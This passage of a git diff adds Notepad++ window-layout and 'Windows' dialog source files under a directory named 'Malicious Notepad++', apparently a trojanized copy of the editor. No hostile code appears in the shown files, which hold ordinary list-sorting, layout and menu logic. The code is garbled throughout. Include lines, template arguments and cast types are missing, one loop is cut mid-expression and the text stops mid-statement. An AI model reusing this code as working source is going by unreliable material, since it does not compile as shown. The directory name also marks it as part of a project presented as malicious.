NMWINMGR : public NMHDR { + enum { // notification codes: + GET_SIZEINFO = 1, // WinMgr is requesting size info + SIZEBAR_MOVED // user moved sizer bar + }; + + // each notification code has its own part of union + union { + SIZEINFO sizeinfo; // used for GET_SIZEINFO + struct { // used for SIZEBAR_MOVED + POINT ptMoved; // distance moved (x or y = zero) + } sizebar; + }; + BOOL processed; + + // ctor: initialize to zeroes + NMWINMGR() { memset(this,0,sizeof(NMWINMGR)); } +}; + +/////////////////// +// Window manager. This class calculates all the sizes and positions of the +// rectangles in the window map. +// +class CWinMgr /*: public CObject*/ { +public: + explicit CWinMgr(WINRECT* map); + virtual ~CWinMgr(); + + virtual void GetWindowPositions(HWND hWnd); // load map from window posns + virtual void SetWindowPositions(HWND hWnd); // set window posns from map + + // get min/max/desired size of a rectangle + virtual void OnGetSizeInfo(SIZEINFO& szi, WINRECT* pwrc, HWND hWnd=NULL); + + // calc layout using client area as total area + void CalcLayout(HWND hWnd) { + assert(hWnd); + RECT rcClient; + GetClientRect(hWnd, &rcClient); + CalcLayout(rcClient, hWnd); + } + + // calc layout using cx, cy (for OnSize) + void CalcLayout(int cx, int cy, HWND hWnd=NULL) { + RECT rc = {0,0,cx,cy}; + CalcLayout(rc, hWnd); + } + + // calc layout using given rect as total area + void CalcLayout(RECT rcTotal, HWND hWnd=NULL) { + assert(m_map); + m_map->SetRect(rcTotal); + CalcGroup(m_map, hWnd); + } + + // Move rectangle vertically or horizontally. Used with sizer bars. + void MoveRect(int nID, POINT ptMove, HWND pParentWnd) { + MoveRect(FindRect(nID), ptMove, pParentWnd); + } + void MoveRect(WINRECT* pwrcMove, POINT ptMove, HWND pParentWnd); + + RECT GetRect(UINT nID) { return FindRect(nID)->GetRect(); } + void SetRect(UINT nID, const RECT& rc) { FindRect(nID)->SetRect(rc); } + + // get WINRECT corresponding to ID + WINRECT* FindRect(int nID); + + // Calculate MINMAXINFO + void GetMinMaxInfo(HWND hWnd, MINMAXINFO* lpMMI); + void GetMinMaxInfo(HWND hWnd, SIZEINFO& szi); + + // set TOFIT size for all windows from current window sizes + void InitToFitSizeFromCurrent(HWND hWnd); + + // Theo - Removed Tracing + +protected: + WINRECT* m_map; // THE window map + + int CountWindows(); + BOOL SendGetSizeInfo(SIZEINFO& szi, HWND hWnd, UINT nID); + + // you can override to do wierd stuff or fix bugs + virtual void CalcGroup(WINRECT* group, HWND hWnd); + virtual void AdjustSize(WINRECT* pEntry, BOOL bRow, + int& hwRemaining, HWND hWnd); + virtual void PositionRects(WINRECT* pGroup, + const RECT& rcTotal,BOOL bRow); + +private: + CWinMgr() { assert(FALSE); } // no default constructor +}; + +// Theo - Removed CSizerBar and CSizeableDlg +#endif \ No newline at end of file diff --git a/Malicious Notepad++/src/WinControls/WindowsDlg/WinRect.cpp b/Malicious Notepad++/src/WinControls/WindowsDlg/WinRect.cpp new file mode 100644 index 0000000..3dcb68f --- /dev/null +++ b/Malicious Notepad++/src/WinControls/WindowsDlg/WinRect.cpp @@ -0,0 +1,83 @@ +//////////////////////////////////////////////////////////////// +// MSDN Magazine -- July 2001 +// If this code works, it was written by Paul DiLascia. +// If not, I don't know who wrote it. +// Compiles with Visual C++ 6.0. Runs on Win 98 and probably Win 2000 too. +// Set tabsize = 3 in your editor. +// + + +#include "WinMgr.h" + +////////////////// +// Construct from args +// +WINRECT::WINRECT(WORD f, int id, LONG p) +{ + memset(this, 0, sizeof(WINRECT)); + flags = f; + nID = (UINT)id; + param = p; +} + +////////////////// +// Get the parent of a given WINRECT. To find the parent, chase the prev +// pointer to the start of the list, then take the item before that in +// memory. +// +WINRECT* WINRECT::Parent() +{ + WINRECT* pEntry = NULL; + for (pEntry=this; pEntry->Prev(); pEntry=pEntry->Prev()) { + ; // go backwards to the end + } + // the entry before the first child is the group + WINRECT *parent = pEntry-1; + assert(parent->IsGroup()); + return parent; +} + +////////////////// +// Get group margins +// +BOOL WINRECT::GetMargins(int& w, int& h) +{ + if (IsGroup()) { + w=(short)LOWORD(param); + h=(short)HIWORD(param); + return TRUE; + } + w=h=0; + return FALSE; +} + +////////////////// +// Initialize map: set up all the next/prev pointers. This converts the +// linear array to a more convenient linked list. Called from END_WINDOW_MAP. +// +WINRECT* WINRECT::InitMap(WINRECT* pWinMap, WINRECT* parent) +{ + assert(pWinMap); + + WINRECT* pwrc = pWinMap; // current table entry + WINRECT* prev = NULL; // previous entry starts out none + + while (!pwrc->IsEndGroup()) { + pwrc->prev=prev; + pwrc->next=NULL; + if (prev) + prev->next = pwrc; + prev = pwrc; + if (pwrc->IsGroup()) { + pwrc = InitMap(pwrc+1,pwrc); // recurse! Returns end-of-grp + assert(pwrc->IsEndGroup()); + } + ++pwrc; + } + // safety checks + assert(pwrc->IsEndGroup()); + assert(prev); + assert(prev->next==NULL); + return parent ? pwrc : NULL; +} + diff --git a/Malicious Notepad++/src/WinControls/WindowsDlg/WindowsDlg.cpp b/Malicious Notepad++/src/WinControls/WindowsDlg/WindowsDlg.cpp new file mode 100644 index 0000000..201cee1 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/WindowsDlg/WindowsDlg.cpp @@ -0,0 +1,937 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include +#include "WindowsDlg.h" +#include "WindowsDlgRc.h" +#include "DocTabView.h" +#include "EncodingMapper.h" + +using namespace std; + +#ifndef _countof +#define _countof(x) (sizeof(x)/sizeof((x)[0])) +#endif + +#ifndef LVS_EX_DOUBLEBUFFER +#define LVS_EX_DOUBLEBUFFER 0x00010000 +#endif + +static const TCHAR *readonlyString = TEXT(" [Read Only]"); +const UINT WDN_NOTIFY = RegisterWindowMessage(TEXT("WDN_NOTIFY")); + +inline static DWORD GetStyle(HWND hWnd) { + return (DWORD)GetWindowLongPtr(hWnd, GWL_STYLE); +} +inline static DWORD GetExStyle(HWND hWnd) { + return (DWORD)GetWindowLongPtr(hWnd, GWL_EXSTYLE); +} + +inline static BOOL ModifyStyle(HWND hWnd, DWORD dwRemove, DWORD dwAdd) { + DWORD dwStyle = (DWORD)::GetWindowLongPtr(hWnd, GWL_STYLE); + DWORD dwNewStyle = (dwStyle & ~dwRemove) | dwAdd; + if(dwStyle == dwNewStyle) + return FALSE; + ::SetWindowLongPtr(hWnd, GWL_STYLE, dwNewStyle); + return TRUE; +} + +inline static BOOL ModifyStyleEx(HWND hWnd, DWORD dwRemove, DWORD dwAdd) { + DWORD dwStyle = (DWORD)::GetWindowLongPtr(hWnd, GWL_EXSTYLE); + DWORD dwNewStyle = (dwStyle & ~dwRemove) | dwAdd; + if(dwStyle == dwNewStyle) + return FALSE; + ::SetWindowLongPtr(hWnd, GWL_EXSTYLE, dwNewStyle); + return TRUE; +} + + +struct NumericStringEquivalence +{ + int operator()(const TCHAR* s1, const TCHAR* s2) const + { return numstrcmp(s1, s2); } + static inline int numstrcmp_get(const TCHAR **str, int *length) + { + const TCHAR *p = *str; + int value = 0; + for (*length = 0; isdigit(*p); ++(*length)) + value = value * 10 + *p++ - '0'; + *str = p; + return (value); + } + static int numstrcmp(const TCHAR *str1, const TCHAR *str2) + { + TCHAR *p1, *p2; + int c1, c2, lcmp = 0; + for(;;) + { + if (*str1 == 0 || *str2 == 0) { + if (*str1 != *str2) + lcmp = *str1 - *str2; + break; + } + if (_istdigit(*str1) && _istdigit(*str2)) + { + lcmp = generic_strtol(str1, &p1, 10) - generic_strtol(str2, &p2, 10); + if ( lcmp == 0 ) + lcmp = static_cast((p2 - str2) - (p1 - str1)); + if ( lcmp != 0 ) + break; + str1 = p1, str2 = p2; + } + else + { + if (_istascii(*str1) && _istupper(*str1)) + c1 = _totlower(*str1); + else + c1 = *str1; + if (_istascii(*str2) && _istupper(*str2)) + c2 = _totlower(*str2); + else + c2 = *str2; + lcmp = (c1 - c2); + if (lcmp != 0) + break; + ++str1, ++str2; + } + } + return ( lcmp < 0 ) ? -1 : (lcmp > 0 ? 1 : 0); + } +}; + +struct BufferEquivalent +{ + NumericStringEquivalence _strequiv; + DocTabView *_pTab; + int _iColumn; + bool _reverse; + BufferEquivalent(DocTabView *pTab, int iColumn, bool reverse) + : _pTab(pTab), _iColumn(iColumn), _reverse(reverse) + {} + + bool operator()(int i1, int i2) const + { + if (i1 == i2) return false; // equivalence test not equality + if (_reverse) std::swap(i1, i2); + return compare(i1, i2); + } + + bool compare(int i1, int i2) const + { + if (_iColumn >= 0 && _iColumn <= 2) + { + BufferID bid1 = _pTab->getBufferByIndex(i1); + BufferID bid2 = _pTab->getBufferByIndex(i2); + Buffer * b1 = MainFileManager->getBufferByID(bid1); + Buffer * b2 = MainFileManager->getBufferByID(bid2); + + if (_iColumn == 0) + { + const TCHAR *s1 = b1->getFileName(); + const TCHAR *s2 = b2->getFileName(); + int result = _strequiv(s1, s2); + + if (result != 0) // default to filepath sorting when equivalent + return result < 0; + } + else if (_iColumn == 2) + { + auto t1 = b1->getLangType(); + auto t2 = b2->getLangType(); + + if (t1 != t2) // default to filepath sorting when equivalent + return (t1 < t2); + } + + // _iColumn == 1 + const TCHAR *s1 = b1->getFullPathName(); + const TCHAR *s2 = b2->getFullPathName(); + return _strequiv(s1, s2) < 0; //we can compare the full path to sort on directory, since after sorting directories sorting files is the second thing to do (if directories are the same that is) + } + return false; + } +}; + +////////////////// +// Window map tells CWinMgr how to position dialog controls +// +BEGIN_WINDOW_MAP(WindowsDlgMap) + BEGINROWS(WRCT_REST,0,RCMARGINS(8,8)) + BEGINCOLS(WRCT_REST,0,0) // Begin list control column + BEGINROWS(WRCT_REST,0,0) + RCREST(IDC_WINDOWS_LIST) + RCSPACE(20) + ENDGROUP() + RCSPACE(12) + BEGINROWS(WRCT_TOFIT,0,0) + RCSPACE(12) + RCTOFIT(IDOK) + RCSPACE(-12) + RCTOFIT(IDC_WINDOWS_SAVE) + RCSPACE(-12) + RCTOFIT(IDC_WINDOWS_CLOSE) + RCSPACE(-12) + RCTOFIT(IDC_WINDOWS_SORT) + RCREST(-1) + RCTOFIT(IDCANCEL) + ENDGROUP() + ENDGROUP() + ENDGROUP() +END_WINDOW_MAP() + +RECT WindowsDlg::_lastKnownLocation; + +WindowsDlg::WindowsDlg() : MyBaseClass(WindowsDlgMap) +{ + _szMinButton = SIZEZERO; + _szMinListCtrl = SIZEZERO; +} + +void WindowsDlg::init(HINSTANCE hInst, HWND parent, DocTabView *pTab) +{ + MyBaseClass::init(hInst, parent); + _pTab = pTab; +} + +void WindowsDlg::init(HINSTANCE hInst, HWND parent) +{ + assert(!"Call other initialize method"); + MyBaseClass::init(hInst, parent); + _pTab = NULL; +} + +INT_PTR CALLBACK WindowsDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + case WM_INITDIALOG : + { + changeDlgLang(); + return MyBaseClass::run_dlgProc(message, wParam, lParam); + } + + case WM_COMMAND : + { + switch (wParam) + { + case IDOK: + { + activateCurrent(); + return TRUE; + } + case IDCANCEL: + { + ::GetWindowRect(_hSelf, &_lastKnownLocation); + EndDialog(_hSelf, IDCANCEL); + return TRUE; + } + case IDC_WINDOWS_SAVE: + { + doSave(); + return TRUE; + } + case IDC_WINDOWS_CLOSE: + { + doClose(); + return TRUE; + } + case IDC_WINDOWS_SORT: + { + // they never set a column to sort by, so assume they wanted filename + if (_currentColumn == -1) + { + _currentColumn = 0; + _reverseSort = false; + _lastSort = _currentColumn; + + updateColumnNames(); + doColumnSort(); + } + + doSortToTabs(); + + // must re-sort because tab indexes changed + doColumnSort(); + break; + } + } + break; + } + + case WM_DESTROY: + { + //destroy(); + return TRUE; + } + + case WM_NOTIFY : + { + if (wParam == IDC_WINDOWS_LIST) + { + NMHDR* pNMHDR = reinterpret_cast(lParam); + if (pNMHDR->code == LVN_GETDISPINFO) + { + NMLVDISPINFO *pLvdi = (NMLVDISPINFO *)pNMHDR; + + if(pLvdi->item.mask & LVIF_TEXT) + { + pLvdi->item.pszText[0] = 0; + size_t index = pLvdi->item.iItem; + if (index >= _pTab->nbItem() || index >= _idxMap.size()) + return FALSE; + index = _idxMap[index]; + + //const Buffer& buffer = _pView->getBufferAt(index); + BufferID bufID = _pTab->getBufferByIndex(index); + Buffer * buf = MainFileManager->getBufferByID(bufID); + if (pLvdi->item.iSubItem == 0) // file name + { + int len = pLvdi->item.cchTextMax; + const TCHAR *fileName = buf->getFileName(); + generic_strncpy(pLvdi->item.pszText, fileName, len-1); + pLvdi->item.pszText[len-1] = 0; + len = lstrlen(pLvdi->item.pszText); + if (buf->isDirty()) + { + if (len < pLvdi->item.cchTextMax) + { + pLvdi->item.pszText[len++] = '*'; + pLvdi->item.pszText[len] = 0; + } + } + else if (buf->isReadOnly()) + { + len += lstrlen(readonlyString); + if (len <= pLvdi->item.cchTextMax) + lstrcat(pLvdi->item.pszText, readonlyString); + } + } + else if (pLvdi->item.iSubItem == 1) // directory + { + const TCHAR *fullName = buf->getFullPathName(); + const TCHAR *fileName = buf->getFileName(); + int len = lstrlen(fullName)-lstrlen(fileName); + if (!len) { + len = 1; + fullName = TEXT(""); + } + if (pLvdi->item.cchTextMax < len) + len = pLvdi->item.cchTextMax; + generic_strncpy(pLvdi->item.pszText, fullName, len-1); + pLvdi->item.pszText[len-1] = 0; + } + else if (pLvdi->item.iSubItem == 2) // Type + { + int len = pLvdi->item.cchTextMax; + NppParameters *pNppParameters = NppParameters::getInstance(); + Lang *lang = pNppParameters->getLangFromID(buf->getLangType()); + if (NULL != lang) + { + generic_strncpy(pLvdi->item.pszText, lang->getLangName(), len-1); + } + } + } + return TRUE; + } + else if (pNMHDR->code == LVN_COLUMNCLICK) // sort columns with stable sort + { + NMLISTVIEW *pNMLV = (NMLISTVIEW *)pNMHDR; + if (pNMLV->iItem == -1) + { + _currentColumn = pNMLV->iSubItem; + + if (_lastSort == _currentColumn) + { + _reverseSort = true; + _lastSort = -1; + } + else + { + _reverseSort = false; + _lastSort = _currentColumn; + } + + updateColumnNames(); + doColumnSort(); + } + return TRUE; + } + else if (pNMHDR->code == LVN_ITEMACTIVATE || pNMHDR->code == LVN_ITEMCHANGED || pNMHDR->code == LVN_ODSTATECHANGED) + { + updateButtonState(); + return TRUE; + } + else if (pNMHDR->code == NM_DBLCLK) + { + ::PostMessage(_hSelf, WM_COMMAND, IDOK, 0); + return TRUE; + } + else if (pNMHDR->code == LVN_KEYDOWN) + { + NMLVKEYDOWN *lvkd = (NMLVKEYDOWN *)pNMHDR; + // Ctrl+A + short ctrl = GetKeyState(VK_CONTROL); + short alt = GetKeyState(VK_MENU); + short shift = GetKeyState(VK_SHIFT); + if (lvkd->wVKey == 0x41/*a*/ && ctrl<0 && alt>=0 && shift>=0) + { + for (int i=0, n=ListView_GetItemCount(_hList); i sortMap; + sortMap.resize(n); + for (i = 0; i < n; ++i) + sortMap[_idxMap[i]] = ListView_GetItemState(_hList, i, LVIS_SELECTED); + + stable_sort(_idxMap.begin(), _idxMap.end(), BufferEquivalent(_pTab, _currentColumn, _reverseSort)); + for (i = 0; i < n; ++i) + ListView_SetItemState(_hList, i, sortMap[_idxMap[i]] ? LVIS_SELECTED : 0, LVIS_SELECTED); + + ::InvalidateRect(_hList, &_rc, FALSE); + updateButtonState(); +} + + +void WindowsDlg::updateButtonState() +{ + int nSelection = ListView_GetSelectedCount(_hList); + if (nSelection == 0) + { + EnableWindow(GetDlgItem(_hSelf, IDOK), FALSE); + EnableWindow(GetDlgItem(_hSelf, IDC_WINDOWS_SAVE), FALSE); + EnableWindow(GetDlgItem(_hSelf, IDC_WINDOWS_CLOSE), FALSE); + } + else + { + EnableWindow(GetDlgItem(_hSelf, IDC_WINDOWS_SAVE), TRUE); + EnableWindow(GetDlgItem(_hSelf, IDC_WINDOWS_CLOSE), TRUE); + if (nSelection == 1) + EnableWindow(GetDlgItem(_hSelf, IDOK), TRUE); + else + EnableWindow(GetDlgItem(_hSelf, IDOK), FALSE); + } + EnableWindow(GetDlgItem(_hSelf, IDC_WINDOWS_SORT), TRUE); +} + +int WindowsDlg::doDialog(TiXmlNodeA *dlgNode) +{ + _dlgNode = dlgNode; + return static_cast(DialogBoxParam(_hInst, MAKEINTRESOURCE(IDD_WINDOWS), _hParent, dlgProc, reinterpret_cast(this))); +}; + +bool WindowsDlg::changeDlgLang() +{ + if (!_dlgNode) return false; + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + int nativeLangEncoding = CP_ACP; + TiXmlDeclarationA *declaration = _dlgNode->GetDocument()->FirstChild()->ToDeclaration(); + if (declaration) + { + const char * encodingStr = declaration->Encoding(); + EncodingMapper *em = EncodingMapper::getInstance(); + nativeLangEncoding = em->getEncodingFromString(encodingStr); + } + + // Set Title + const char *titre = (_dlgNode->ToElement())->Attribute("title"); + if (titre && titre[0]) + { + const wchar_t *nameW = wmc->char2wchar(titre, nativeLangEncoding); + ::SetWindowText(_hSelf, nameW); + } + + // Set the text of child control + for (TiXmlNodeA *childNode = _dlgNode->FirstChildElement("Item"); + childNode ; + childNode = childNode->NextSibling("Item") ) + { + TiXmlElementA *element = childNode->ToElement(); + int id; + const char *sentinel = element->Attribute("id", &id); + const char *name = element->Attribute("name"); + if (sentinel && (name && name[0])) + { + HWND hItem = ::GetDlgItem(_hSelf, id); + if (hItem) + { + const wchar_t *nameW = wmc->char2wchar(name, nativeLangEncoding); + ::SetWindowText(hItem, nameW); + } + } + } + return true; +} + +BOOL WindowsDlg::onInitDialog() +{ + _winMgr.InitToFitSizeFromCurrent(_hSelf); + + // save min size for OK/Cancel buttons + _szMinButton = RectToSize(_winMgr.GetRect(IDOK)); + _szMinListCtrl = RectToSize(_winMgr.GetRect(IDC_WINDOWS_LIST)); + _currentColumn = -1; + _lastSort = -1; + _reverseSort = false; + + _winMgr.CalcLayout(_hSelf); + _winMgr.SetWindowPositions(_hSelf); + getClientRect(_rc); + + _hList = ::GetDlgItem(_hSelf, IDC_WINDOWS_LIST); + DWORD exStyle = ListView_GetExtendedListViewStyle(_hList); + exStyle |= LVS_EX_HEADERDRAGDROP|LVS_EX_FULLROWSELECT|LVS_EX_DOUBLEBUFFER; + ListView_SetExtendedListViewStyle(_hList, exStyle); + + RECT rc; + GetClientRect(_hList, &rc); + LONG width = rc.right - rc.left; + + LVCOLUMN lvColumn; + memset(&lvColumn, 0, sizeof(lvColumn)); + lvColumn.mask = LVCF_WIDTH | LVCF_TEXT | LVCF_SUBITEM | LVCF_FMT; + lvColumn.fmt = LVCFMT_LEFT; + + lvColumn.pszText = TEXT("\u21F5 Name"); + lvColumn.cx = width / 4; + SendMessage(_hList, LVM_INSERTCOLUMN, 0, LPARAM(&lvColumn)); + + lvColumn.pszText = TEXT("\u21F5 Path"); + lvColumn.cx = 300; + SendMessage(_hList, LVM_INSERTCOLUMN, 1, LPARAM(&lvColumn)); + + lvColumn.fmt = LVCFMT_CENTER; + lvColumn.pszText = TEXT("\u21F5 Type"); + lvColumn.cx = 50; + SendMessage(_hList, LVM_INSERTCOLUMN, 2, LPARAM(&lvColumn)); + + fitColumnsToSize(); + + if (_lastKnownLocation.bottom > 0 && _lastKnownLocation.right > 0) + { + SetWindowPos(_hSelf, NULL, _lastKnownLocation.left, _lastKnownLocation.top, + _lastKnownLocation.right-_lastKnownLocation.left, _lastKnownLocation.bottom-_lastKnownLocation.top, SWP_SHOWWINDOW); + } + else + { + goToCenter(); + } + + doRefresh(true); + return TRUE; +} + +void WindowsDlg::updateColumnNames() +{ + LVCOLUMN lvColumn; + memset(&lvColumn, 0, sizeof(lvColumn)); + lvColumn.mask = LVCF_WIDTH | LVCF_TEXT | LVCF_SUBITEM | LVCF_FMT; + lvColumn.fmt = LVCFMT_LEFT; + + if (_currentColumn != 0) + { + lvColumn.pszText = TEXT("\u21F5 Name"); + } + else if (_reverseSort) + { + lvColumn.pszText = TEXT("\u25B3 Name"); + } + else + { + lvColumn.pszText = TEXT("\u25BD Name"); + } + lvColumn.cx = static_cast(SendMessage(_hList, LVM_GETCOLUMNWIDTH, 0, 0)); + SendMessage(_hList, LVM_SETCOLUMN, 0, LPARAM(&lvColumn)); + + if (_currentColumn != 1) + { + lvColumn.pszText = TEXT("\u21F5 Path"); + } + else if (_reverseSort) + { + lvColumn.pszText = TEXT("\u25B3 Path"); + } + else + { + lvColumn.pszText = TEXT("\u25BD Path"); + } + lvColumn.cx = static_cast(SendMessage(_hList, LVM_GETCOLUMNWIDTH, 1, 0)); + SendMessage(_hList, LVM_SETCOLUMN, 1, LPARAM(&lvColumn)); + + lvColumn.fmt = LVCFMT_CENTER; + if (_currentColumn != 2) + { + lvColumn.pszText = TEXT("\u21F5 Type"); + } + else if (_reverseSort) + { + lvColumn.pszText = TEXT("\u25B3 Type"); + } + else + { + lvColumn.pszText = TEXT("\u25BD Type"); + } + lvColumn.cx = static_cast(SendMessage(_hList, LVM_GETCOLUMNWIDTH, 2, 0)); + SendMessage(_hList, LVM_SETCOLUMN, 2, LPARAM(&lvColumn)); +} + +void WindowsDlg::onSize(UINT nType, int cx, int cy) +{ + MyBaseClass::onSize(nType, cx, cy); + fitColumnsToSize(); +} + +void WindowsDlg::onGetMinMaxInfo(MINMAXINFO* lpMMI) +{ + MyBaseClass::onGetMinMaxInfo(lpMMI); +} + +LRESULT WindowsDlg::onWinMgr(WPARAM wp, LPARAM lp) +{ + NMWINMGR &nmw = *reinterpret_cast(lp); + if (nmw.code==NMWINMGR::GET_SIZEINFO) { + switch(wp) + { + case IDOK: + case IDCANCEL: + case IDC_WINDOWS_SAVE: + case IDC_WINDOWS_CLOSE: + case IDC_WINDOWS_SORT: + nmw.sizeinfo.szMin = _szMinButton; + nmw.processed = TRUE; + return TRUE; + + case IDC_WINDOWS_LIST: + nmw.sizeinfo.szMin = _szMinListCtrl; + nmw.processed = TRUE; + return TRUE; + } + } + return MyBaseClass::onWinMgr(wp, lp); +} + +void WindowsDlg::doRefresh(bool invalidate /*= false*/) +{ + if (_hSelf != NULL && isVisible()) + { + if (_hList != NULL) + { + size_t count = (_pTab != NULL) ? _pTab->nbItem() : 0; + size_t oldSize = _idxMap.size(); + if (!invalidate && count == oldSize) + return; + + if (count != oldSize) + { + size_t lo = 0; + _idxMap.resize(count); + if (oldSize < count) + lo = oldSize; + for (size_t i = lo; i < count; ++i) + _idxMap[i] = int(i); + } + LPARAM lp = invalidate ? LVSICF_NOSCROLL|LVSICF_NOINVALIDATEALL : LVSICF_NOSCROLL; + ::SendMessage(_hList, LVM_SETITEMCOUNT, count, lp); + ::InvalidateRect(_hList, &_rc, FALSE); + + resetSelection(); + updateButtonState(); + } + } +} + +void WindowsDlg::fitColumnsToSize() +{ + // perhaps make the path column auto size + RECT rc; + if (GetClientRect(_hList, &rc)) + { + int len = (rc.right - rc.left); + len -= static_cast(SendMessage(_hList, LVM_GETCOLUMNWIDTH, 0, 0)); + len -= static_cast(SendMessage(_hList, LVM_GETCOLUMNWIDTH, 2, 0)); + len -= GetSystemMetrics(SM_CXVSCROLL); + len -= 1; + SendMessage(_hList, LVM_SETCOLUMNWIDTH, 1, len); + } +} + +void WindowsDlg::resetSelection() +{ + auto curSel = _pTab->getCurrentTabIndex(); + int pos = 0; + for (vector::iterator itr = _idxMap.begin(), end = _idxMap.end(); itr != end; ++itr, ++pos) + { + if (*itr == curSel) + { + ListView_SetItemState(_hList, pos, LVIS_SELECTED|LVIS_FOCUSED, LVIS_SELECTED|LVIS_FOCUSED) + } + else + { + ListView_SetItemState(_hList, pos, 0, LVIS_SELECTED); + } + } +} + +void WindowsDlg::doSave() +{ + NMWINDLG nmdlg; + nmdlg.type = WDT_SAVE; + nmdlg.curSel = ListView_GetNextItem(_hList, -1, LVNI_SELECTED); + nmdlg.hwndFrom = _hSelf; + nmdlg.code = WDN_NOTIFY; + nmdlg.nItems = ListView_GetSelectedCount(_hList); + nmdlg.Items = new UINT[nmdlg.nItems]; + for (int i=-1, j=0;;++j) { + i = ListView_GetNextItem(_hList, i, LVNI_SELECTED); + if (i == -1) break; + nmdlg.Items[j] = _idxMap[i]; + } + SendMessage(_hParent, WDN_NOTIFY, 0, LPARAM(&nmdlg)); + delete[] nmdlg.Items; + ::InvalidateRect(_hList, &_rc, FALSE); + ListView_RedrawItems(_hList, 0, ListView_GetSelectedCount(_hList)); +} + +void WindowsDlg::destroy() +{ + ::GetWindowRect(_hSelf, &_lastKnownLocation); + + HWND hSelf = _hSelf; + _hSelf = NULL; + ::DestroyWindow(hSelf); + +} + +void WindowsDlg::activateCurrent() +{ + if (ListView_GetSelectedCount(_hList) == 1) + { + NMWINDLG nmdlg; + nmdlg.type = WDT_ACTIVATE; + nmdlg.curSel = _idxMap[ListView_GetNextItem(_hList, -1, LVNI_ALL|LVNI_SELECTED)]; + nmdlg.hwndFrom = _hSelf; + nmdlg.code = WDN_NOTIFY; + SendMessage(_hParent, WDN_NOTIFY, 0, LPARAM(&nmdlg)); + + ::GetWindowRect(_hSelf, &_lastKnownLocation); + EndDialog(_hSelf, IDOK); + } +} + +void WindowsDlg::doClose() +{ + NMWINDLG nmdlg; + nmdlg.type = WDT_CLOSE; + int index = ListView_GetNextItem(_hList, -1, LVNI_ALL|LVNI_SELECTED); + if (index == -1) return; + + nmdlg.curSel = _idxMap[index]; + nmdlg.hwndFrom = _hSelf; + nmdlg.code = WDN_NOTIFY; + UINT n = nmdlg.nItems = ListView_GetSelectedCount(_hList); + nmdlg.Items = new UINT[nmdlg.nItems]; + vector key; + key.resize(n, 0x7fffffff); + for(int i=-1, j=0;; ++j) { + i = ListView_GetNextItem(_hList, i, LVNI_SELECTED); + if (i == -1) break; + ListView_SetItemState(_hList, i, 0, LVIS_SELECTED); // deselect + nmdlg.Items[j] = _idxMap[i]; + key[j] = i; + } + SendMessage(_hParent, WDN_NOTIFY, 0, LPARAM(&nmdlg)); + if (nmdlg.processed) + { + // Trying to retain sort order. fairly sure there is a much better algorithm for this + vector::iterator kitr = key.begin(); + for (UINT i=0; i::iterator itr = _idxMap.begin(), end = _idxMap.end(); itr != end; ++itr) + if (*itr > oldVal) + --(*itr); + } + } + _idxMap.erase(std::remove_if(_idxMap.begin(), _idxMap.end(), bind2nd(equal_to(), -1)), _idxMap.end()); + } + delete[] nmdlg.Items; + + if (_pTab->nbItem() != _idxMap.size()) + doRefresh(true); + else + { + // select first previously selected item (or last one if only the last one was removed) + if (index == static_cast(_idxMap.size())) + index -= 1; + + if (index >= 0) + { + ListView_SetItemState(_hList, index, LVIS_SELECTED, LVIS_SELECTED); + ListView_RedrawItems(_hList, 0, _idxMap.size() - 1); + } + ListView_SetItemCount(_hList, _idxMap.size()); + } +} + +void WindowsDlg::doSortToTabs() +{ + int curSel = ListView_GetNextItem(_hList, -1, LVNI_SELECTED); + + if (curSel == -1) + curSel = 0; + + NMWINDLG nmdlg; + nmdlg.type = WDT_SORT; + nmdlg.hwndFrom = _hSelf; + nmdlg.curSel = _idxMap[curSel]; + nmdlg.code = WDN_NOTIFY; + nmdlg.nItems = ListView_GetItemCount(_hList); + nmdlg.Items = new UINT[nmdlg.nItems]; + + for(int i=-1, j=0;; ++j) + { + i = ListView_GetNextItem(_hList, i, LVNI_ALL); + if (i == -1) + break; + nmdlg.Items[j] = _idxMap[i]; + if (i == curSel) + nmdlg.curSel = j; + } + + SendMessage(_hParent, WDN_NOTIFY, 0, LPARAM(&nmdlg)); + if (nmdlg.processed) + { + _idxMap.clear(); + doRefresh(true); + } + delete[] nmdlg.Items; +} + +WindowsMenu::WindowsMenu() +{} + +WindowsMenu::~WindowsMenu() +{ + if (_hMenu) + DestroyMenu(_hMenu); +} + +void WindowsMenu::init(HINSTANCE hInst, HMENU hMainMenu, const TCHAR *translation) +{ + _hMenu = ::LoadMenu(hInst, MAKEINTRESOURCE(IDR_WINDOWS_MENU)); + + if (translation && translation[0]) + { + generic_string windowStr(translation); + windowStr += TEXT("..."); + ::ModifyMenu(_hMenu, IDM_WINDOW_WINDOWS, MF_BYCOMMAND, IDM_WINDOW_WINDOWS, windowStr.c_str()); + } + + int32_t pos = 0; + for(pos = GetMenuItemCount(hMainMenu) - 1; pos > 0; --pos) + { + if ((GetMenuState(hMainMenu, pos, MF_BYPOSITION) & MF_POPUP) != MF_POPUP) + continue; + break; + } + + MENUITEMINFO mii; + memset(&mii, 0, sizeof(mii)); + mii.cbSize = sizeof(mii); + mii.fMask = MIIM_STRING|MIIM_SUBMENU; + + TCHAR buffer[32]; + LoadString(hInst, IDR_WINDOWS_MENU, buffer, 32); + mii.dwTypeData = (TCHAR *)((translation && translation[0])?translation:buffer); + mii.hSubMenu = _hMenu; + InsertMenuItem(hMainMenu, pos, TRUE, &mii); +} + +void WindowsMenu::initPopupMenu(HMENU hMenu, DocTabView *pTab) +{ + if (hMenu == _hMenu) + { + auto curDoc = pTab->getCurrentTabIndex(); + size_t nMaxDoc = IDM_WINDOW_MRU_LIMIT - IDM_WINDOW_MRU_FIRST + 1; + size_t 